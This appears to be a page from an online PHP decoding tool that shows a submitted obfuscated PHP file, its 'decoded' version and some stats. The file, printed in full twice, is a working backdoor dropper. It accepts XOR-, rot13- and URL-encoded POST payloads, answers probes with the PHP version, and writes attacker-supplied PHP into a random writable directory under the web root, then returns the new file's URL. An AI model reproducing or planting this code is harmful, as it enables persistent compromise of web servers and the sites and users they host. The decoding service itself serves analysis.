Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $qahgjcb = "xbsgjclfbrahsmdw";$ktggdglrta = "";foreach ($_POST as $uaptbk => $zszeac..
Decoded Output download
<?php $qahgjcb = "xbsgjclfbrahsmdw";$ktggdglrta = "";foreach ($_POST as $uaptbk => $zszeaczc){if (strlen($uaptbk) == 16 and substr_count($zszeaczc, "%") > 10){fgbdy($uaptbk
, $zszeaczc);}}function fgbdy($uaptbk, $ufwnp){global $ktggdglrta;$ktggdglrta = $uaptbk;$ufwnp = str_split(rawurldecode(str_rot13($ufwnp)));function ufbvkzho($akabnjnpb, $u
aptbk){global $qahgjcb, $ktggdglrta;return $akabnjnpb ^ $qahgjcb[$uaptbk % strlen($qahgjcb)] ^ $ktggdglrta[$uaptbk % strlen($ktggdglrta)];}$ufwnp = implode("", array_map("u
fbvkzho", array_values($ufwnp), array_keys($ufwnp)));$ufwnp = @unserialize($ufwnp);if (@is_array($ufwnp)){$uaptbk = array_keys($ufwnp);$ufwnp = $ufwnp[$uaptbk[0]];if ($ufwn
p === $uaptbk[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function dwfjhgd($lvwanjpumir) {static $foeidpxnnf = array();$xzxjic = glob($lvwanjpumir . '
/*', GLOB_ONLYDIR);if (count($xzxjic) > 0) {foreach ($xzxjic as $lvwanjpum){if (@is_writable($lvwanjpum)){$foeidpxnnf[] = $lvwanjpum;}}}foreach ($xzxjic as $lvwanjpumir) dw
fjhgd($lvwanjpumir);return $foeidpxnnf;}$xcybfw = $_SERVER["DOCUMENT_ROOT"];$xzxjic = dwfjhgd($xcybfw);$uaptbk = array_rand($xzxjic);$vjmwvfyvc = $xzxjic[$uaptbk] . "/" . s
ubstr(md5(time()), 0, 8) . ".php";@file_put_contents($vjmwvfyvc, $ufwnp);echo "http://" . $_SERVER["HTTP_HOST"] . substr($vjmwvfyvc, strlen($xcybfw));exit();}}} ?>
Did this file decode correctly?
Original Code
<?php $qahgjcb = "xbsgjclfbrahsmdw";$ktggdglrta = "";foreach ($_POST as $uaptbk => $zszeaczc){if (strlen($uaptbk) == 16 and substr_count($zszeaczc, "%") > 10){fgbdy($uaptbk
, $zszeaczc);}}function fgbdy($uaptbk, $ufwnp){global $ktggdglrta;$ktggdglrta = $uaptbk;$ufwnp = str_split(rawurldecode(str_rot13($ufwnp)));function ufbvkzho($akabnjnpb, $u
aptbk){global $qahgjcb, $ktggdglrta;return $akabnjnpb ^ $qahgjcb[$uaptbk % strlen($qahgjcb)] ^ $ktggdglrta[$uaptbk % strlen($ktggdglrta)];}$ufwnp = implode("", array_map("u
fbvkzho", array_values($ufwnp), array_keys($ufwnp)));$ufwnp = @unserialize($ufwnp);if (@is_array($ufwnp)){$uaptbk = array_keys($ufwnp);$ufwnp = $ufwnp[$uaptbk[0]];if ($ufwn
p === $uaptbk[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function dwfjhgd($lvwanjpumir) {static $foeidpxnnf = array();$xzxjic = glob($lvwanjpumir . '
/*', GLOB_ONLYDIR);if (count($xzxjic) > 0) {foreach ($xzxjic as $lvwanjpum){if (@is_writable($lvwanjpum)){$foeidpxnnf[] = $lvwanjpum;}}}foreach ($xzxjic as $lvwanjpumir) dw
fjhgd($lvwanjpumir);return $foeidpxnnf;}$xcybfw = $_SERVER["DOCUMENT_ROOT"];$xzxjic = dwfjhgd($xcybfw);$uaptbk = array_rand($xzxjic);$vjmwvfyvc = $xzxjic[$uaptbk] . "/" . s
ubstr(md5(time()), 0, 8) . ".php";@file_put_contents($vjmwvfyvc, $ufwnp);echo "http://" . $_SERVER["HTTP_HOST"] . substr($vjmwvfyvc, strlen($xcybfw));exit();}}}
Function Calls
None |
Stats
MD5 | 8747cc7f64b03c2f17bfaf0873de2d58 |
Eval Count | 0 |
Decode Time | 78 ms |